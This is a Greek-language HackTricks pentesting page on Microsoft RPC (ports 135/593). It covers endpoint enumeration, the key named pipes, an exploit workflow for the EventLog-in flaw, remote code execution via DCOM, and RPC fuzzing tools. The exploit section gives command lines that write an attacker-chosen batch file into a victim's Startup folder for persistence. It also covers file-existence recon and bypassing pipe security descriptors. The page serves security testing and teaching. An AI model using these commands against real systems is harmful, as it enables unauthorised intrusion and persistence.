135, 593 - Pentesting MSRPC
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Το πρωτόκολλο Microsoft Remote Procedure Call (MSRPC), ένα μοντέλο client-server που επιτρέπει σε ένα πρόγραμμα να ζητήσει μια υπηρεσία από ένα πρόγραμμα που βρίσκεται σε άλλον υπολογιστή χωρίς να χρειάζεται να γνωρίζει τις λεπτομέρειες του δικτύου, προήλθε αρχικά από λογισμικό ανοιχτού κώδικα και αργότερα αναπτύχθηκε και κατοχυρώθηκε πνευματικά από τη Microsoft.
Ο RPC endpoint mapper είναι προσβάσιμος μέσω των θυρών TCP και UDP 135, μέσω SMB στις θύρες TCP 139 και 445 (με null ή authenticated session), και ως web service στη θύρα TCP 593.
135/tcp open msrpc Microsoft Windows RPC
Πώς λειτουργεί το MSRPC?
Ξεκινώντας από την εφαρμογή client, η διαδικασία MSRPC περιλαμβάνει την κλήση μιας τοπικής stub διαδικασίας που στη συνέχεια αλληλεπιδρά με τη client runtime βιβλιοθήκη για να προετοιμάσει και να μεταβιβάσει το αίτημα στον server. Αυτό περιλαμβάνει τη μετατροπή των παραμέτρων σε τυποποιημένη μορφή Network Data Representation. Η επιλογή του πρωτοκόλλου μεταφοράς καθορίζεται από τη runtime βιβλιοθήκη όταν ο server είναι απομακρυσμένος, εξασφαλίζοντας ότι το RPC παραδίδεται μέσω του network stack.

Εντοπισμός Εκτεθειμένων RPC Υπηρεσιών
Η έκθεση των RPC υπηρεσιών μέσω TCP, UDP, HTTP και SMB μπορεί να προσδιοριστεί ερωτώντας την υπηρεσία εντοπισμού RPC και τα μεμονωμένα σημεία τερματισμού. Εργαλεία όπως το rpcdump διευκολύνουν τον εντοπισμό μοναδικών RPC υπηρεσιών, που προσδιορίζονται από τιμές IFID, αποκαλύπτοντας λεπτομέρειες υπηρεσίας και συνδέσεις επικοινωνίας:
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
Η πρόσβαση στην υπηρεσία εντοπισμού RPC είναι διαθέσιμη μέσω συγκεκριμένων πρωτοκόλλων: ncacn_ip_tcp και ncadg_ip_udp για πρόσβαση μέσω port 135, ncacn_np για SMB συνδέσεις, και ncacn_http για web-based RPC επικοινωνία. Οι ακόλουθες εντολές απεικονίζουν τη χρήση των Metasploit modules για τον έλεγχο και την αλληλεπίδραση με υπηρεσίες MSRPC, επικεντρώνοντας κυρίως στο port 135:
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
Όλες οι επιλογές εκτός του tcp_dcerpc_auditor έχουν σχεδιαστεί ειδικά για τη στόχευση του MSRPC στη θύρα 135.
Σημαντικές RPC διεπαφές
- IFID: 12345778-1234-abcd-ef00-0123456789ab
- Named Pipe:
\pipe\lsarpc - Περιγραφή: Διεπαφή LSA, χρησιμοποιείται για απαρίθμηση χρηστών.
- IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
- Named Pipe:
\pipe\lsarpc - Περιγραφή: LSA Directory Services (DS) interface, χρησιμοποιείται για απαρίθμηση τομέων και σχέσεων εμπιστοσύνης.
- IFID: 12345778-1234-abcd-ef00-0123456789ac
- Named Pipe:
\pipe\samr - Περιγραφή: Διεπαφή LSA SAMR, χρησιμοποιείται για πρόσβαση σε δημόσια στοιχεία της βάσης δεδομένων SAM (π.χ., ονόματα χρηστών) και για brute-force κωδικών χρηστών ανεξαρτήτως πολιτικής κλειδώματος λογαριασμού.
- IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
- Named Pipe:
\pipe\atsvc - Περιγραφή: Task scheduler, χρησιμοποιείται για απομακρυσμένη εκτέλεση εντολών.
- IFID: 338cd001-2244-31f1-aaaa-900038001003
- Named Pipe:
\pipe\winreg - Περιγραφή: Υπηρεσία απομακρυσμένου μητρώου, χρησιμοποιείται για πρόσβαση και τροποποίηση του μητρώου συστήματος.
- IFID: 367abb81-9844-35f1-ad32-98f038001003
- Named Pipe:
\pipe\svcctl - Περιγραφή: Service control manager και server services, χρησιμοποιούνται για απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και εκτέλεση εντολών.
- IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
- Named Pipe:
\pipe\srvsvc - Περιγραφή: Service control manager και server services, χρησιμοποιούνται για απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και εκτέλεση εντολών.
- IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- Named Pipe:
\pipe\epmapper - Περιγραφή: Διεπαφή DCOM, χρησιμοποιείται για brute-force password grinding και συλλογή πληροφοριών μέσω WM.
MS-EVEN (EventLog Remoting) πρωτογενείς λειτουργίες
Η RPC διεπαφή MS-EVEN (named pipe \pipe\even) εκθέτει λειτουργίες Eventlog. Η ανάλυση της SafeBreach για το CVE-2025-29969 (EventLog-in) δείχνει ένα σφάλμα TOCTOU στο MS-EVEN που επιτρέπει σε έναν επαληθευμένο χρήστη με χαμηλά προνόμια να προκαλέσει μια απομακρυσμένη, αυθαίρετη εγγραφή αρχείου στον στόχο: περιεχόμενο που επιλέγει ο επιτιθέμενος εγγράφεται σε μονοπάτι που επιλέγει ο επιτιθέμενος χωρίς να απαιτούνται δικαιώματα Administrator για την απομακρυσμένη εγγραφή.
Επιχειρησιακό μοτίβο (PoC workflow): τοποθετήστε ένα έγκυρο EVTX μαζί με το payload σας σε ένα SMB share, και στη συνέχεια κάντε race τη λογική του MS-EVEN ώστε ο στόχος να ανακτήσει το αρχείο που φιλοξενείται στο SMB και να το γράψει στη διαδρομή που επιλέξατε.
impacket-smbserver -smb2support Share /tmp/safebreach
Το δημοσιευμένο PoC χρησιμοποιεί ένα hard-coded SMB share name (Share), οπότε αν το αλλάξετε πρέπει επίσης να ενημερώσετε το script.
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"
Μια συνηθισμένη αλυσίδα είναι να τοποθετηθεί στον per-user Startup folder για persistence και εκτέλεση στην επόμενη σύνδεση (η εκτέλεση συμβαίνει στο περιβάλλον αυτού του χρήστη).
MS-EVEN CreateFile-style primitive για recon
Το MS-EVEN επίσης εκθέτει ένα primitive τύπου file open/create (περιγράφεται στο PoC ως CreateFile) που μπορεί να χρησιμοποιηθεί από οποιονδήποτε authenticated user για να ελέγξει εάν ένα απομακρυσμένο αρχείο ή κατάλογος υπάρχει. Αυτό είναι χρήσιμο για software discovery ελέγχοντας κοινές install paths (π.χ., C:\Program Files\<Vendor>):
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY
Εντοπισμός διευθύνσεων IP
Χρησιμοποιώντας https://github.com/mubix/IOXIDResolver, που προέρχεται από την έρευνα της Airbus research, είναι δυνατό να καταχραστείτε τη μέθοδο ServerAlive2 μέσα στη διεπαφή IOXIDResolver.
Αυτή η μέθοδος έχει χρησιμοποιηθεί για να ληφθούν πληροφορίες διεπαφής ως IPv6 διεύθυνση από το HTB box APT. Δείτε here για το writeup του 0xdf APT — περιλαμβάνει μια εναλλακτική μέθοδο χρησιμοποιώντας rpcmap.py από Impacket με stringbinding (βλ. παραπάνω).
Εκτέλεση RCE με έγκυρα διαπιστευτήρια
Είναι δυνατό να εκτελεστεί απομακρυσμένος κώδικας σε μια μηχανή, εφόσον τα διαπιστευτήρια ενός έγκυρου χρήστη είναι διαθέσιμα, χρησιμοποιώντας dcomexec.py από το impacket framework.
Θυμηθείτε να δοκιμάσετε με τα διαφορετικά διαθέσιμα αντικείμενα
- ShellWindows
- ShellBrowserWindow
- MMC20
Θύρα 593
Το rpcdump.exe από τα rpctools μπορεί να αλληλεπιδράσει με αυτή τη θύρα.
Αυτοματοποιημένο Fuzzing των MSRPC διεπαφών
Οι MS-RPC διεπαφές αποκαλύπτουν μια μεγάλη και συχνά μη τεκμηριωμένη επιφάνεια επίθεσης. Το open-source MS-RPC-Fuzzer PowerShell module βασίζεται στο NtObjectManager του James Forshaw για να dynamically δημιουργεί RPC client stubs από τα interface metadata που ήδη υπάρχουν στα Windows binaries. Μόλις υπάρχει ένα stub, το module μπορεί να βομβαρδίσει κάθε διαδικασία με τροποποιημένα inputs και να καταγράψει το αποτέλεσμα, καθιστώντας reproducible, large-scale fuzzing των RPC endpoints δυνατό χωρίς να γράψετε ούτε μία γραμμή IDL.
1. Καταγραφή των διεπαφών
# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1
# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output
# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output
Get-RpcServerData θα εξαγάγει το UUID, την έκδοση, τα binding strings (named-pipe / TCP / HTTP) και πλήρη πρωτότυπα διαδικασιών για κάθε interface που συναντά και θα τα αποθηκεύσει σε rpcServerData.json.
2. Τρέξτε τον fuzzer
'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100 -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999
Σχετικές επιλογές:
-MinStrLen/-MaxStrLen– εύρος μήκους για τις παραγόμενες συμβολοσειρές-MinIntSize/-MaxIntSize– εύρος τιμών για τροποποιημένους ακέραιους (χρήσιμο για δοκιμές υπερχείλισης)-Sorted– εκτελεί διαδικασίες με σειρά που σέβεται τις εξαρτήσεις παραμέτρων, ώστε οι έξοδοι μιας κλήσης να μπορούν να χρησιμεύσουν ως είσοδοι στην επόμενη (αυξάνει δραματικά τα προσβάσιμα μονοπάτια)
The fuzzer implements 2 strategies:
- Default fuzzer – τυχαίες πρωτόγονες τιμές + προεπιλεγμένα αντικείμενα για σύνθετους τύπους
- Sorted fuzzer – ταξινόμηση με επίγνωση εξαρτήσεων (see
docs/Procedure dependency design.md)
Every call is written atomically to log.txt; after a crash the last line immediately tells you the offending procedure. The result of each call is also categorised into three JSON files:
allowed.json– η κλήση ολοκληρώθηκε επιτυχώς και επέστρεψε δεδομέναdenied.json– ο server απάντησε με Access Deniederror.json– οποιοδήποτε άλλο σφάλμα / crash
3. Οπτικοποίηση με Neo4j
'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j
Import-DataToNeo4j μετατρέπει τα JSON αντικείμενα σε δομή γράφου όπου:
- Διακομιστές RPC, διεπαφές και διαδικασίες είναι κόμβοι
- Αλληλεπιδράσεις (
ALLOWED,DENIED,ERROR) είναι συσχετίσεις
Ερωτήματα Cypher μπορούν στη συνέχεια να χρησιμοποιηθούν για να εντοπίσουν γρήγορα επικίνδυνες διαδικασίες ή να αναπαραστήσουν την ακριβή αλυσίδα κλήσεων που προηγήθηκε ενός crash.
⚠️ Το fuzzer είναι καταστροφικό: αναμένετε διακοπές υπηρεσιών και ακόμη και BSODs – τρέξτε το πάντα σε ένα απομονωμένο VM snapshot.
Αυτοματοποιημένη Εξαγωγή Διεπαφών & Δυναμική Δημιουργία Client (NtObjectManager)
Ο ειδικός του PowerShell James Forshaw αποκάλυψε τα περισσότερα από τα εσωτερικά του Windows RPC μέσα στο ανοιχτού κώδικα NtObjectManager module. Χρησιμοποιώντας το, μπορείτε να μετατρέψετε οποιοδήποτε RPC server DLL / EXE σε ένα πλήρως εξοπλισμένο client stub σε δευτερόλεπτα – χωρίς απαιτούμενο IDL, MIDL ή χειροκίνητο unmarshalling.
# Install the module once
Install-Module NtObjectManager -Force
# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures
# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *
Η τυπική έξοδος εμφανίζει τους τύπους παραμέτρων ακριβώς όπως εμφανίζονται στο MIDL (π.χ. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).
Μόλις γνωρίζετε το interface μπορείτε να δημιουργήσετε έναν έτοιμο προς μεταγλώττιση C# client:
# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs
Μέσα στο παραγόμενο stub θα βρείτε μεθόδους όπως:
public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}
Ο βοηθητικός του PowerShell Get-RpcClient μπορεί να δημιουργήσει ένα διαδραστικό αντικείμενο πελάτη ώστε να μπορείτε να καλέσετε τη διαδικασία αμέσως:
$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType WinNT # NTLM auth
# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)
Ήλεγχος ταυτότητας (Kerberos / NTLM) και τα επιπέδα κρυπτογράφησης (PacketIntegrity, PacketPrivacy, …) μπορούν να παρέχονται απευθείας μεσώ του cmdlet Connect-RpcClient – ιδανικό για bypassing Security Descriptors που προστατεύουν named pipes υψηλών προνομίων.
Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)
Η στατική γνώση του interface είναι χρήσιμη, αλλά αυτό που πραγματικά θέλετε είναι το coverage-guided fuzzing που κατανοεί τα context handles και τις σύνθετες αλυσίδες παραμέτρων. Το ανοιχτού κωδίκα έργο MS-RPC-Fuzzer αυτοματοποιεί ακριβώς αυτή τη ροή εργασιών:
- Απαριθμήστε κάθε interface/procedure που εξάγεται από το target binary (
Get-RpcServer). - Δημιουργήστε δυναμικούς clients για κάθε interface (
Format-RpcClient). - Τυχατοποιεί τις παραμέτρους είσοδου (μήκος wide strings, εύρη ακεραίων, enums) σεβόμενο τον αρχικό NDR type.
- Παρακολουθεί τα context handles που επιστρέφονται από μια κλήση για να τροφοδοτήσει αυτόματα τις επακόλουθες διαδικασίες.
- Εκτελεί μεγάλο όγκο κλήσεων προς το επιλεγέμενο transport (ALPC, TCP, HTTP ή named pipe).
- Καταγράφει exit statuses / faults / timeouts και εξάγει ένα αρχείο εισαγωγής Neo4j για να οπτικοποιήσει τις σχέσεις interface → procedure → parameter και τα crash clusters.
Example run (named–pipe target):
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1 -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results
Μια μεμονωμένη out-of-bounds write ή απρόσμενη exception θα εμφανιστεί άμεσα με το ακριβές opnum + fuzzed payload που την προκάλεσε – ιδανικό σημείο εκκίνησης για ένα σταθερό proof-of-concept exploit.
⚠️ Πολλές υπηρεσίες RPC εκτελούνται σε διεργασίες που τρέχουν ως NT AUTHORITY\SYSTEM. Οποιοδήποτε memory-safety issue εδώ συνήθως μεταφράζεται σε local privilege escalation ή (όταν είναι εκτεθειμένο μέσω SMB/135) remote code execution.
Αναφορές
- EventLogin-CVE-2025-29969 (SafeBreach-Labs)
- EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows
- Automating MS-RPC vulnerability research (2025, Incendium.rocks)
- MS-RPC-Fuzzer – context-aware RPC fuzzer
- NtObjectManager PowerShell module
- https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
- https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/
- https://0xffsec.com/handbook/services/msrpc/
- MS-RPC-Fuzzer (GitHub)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


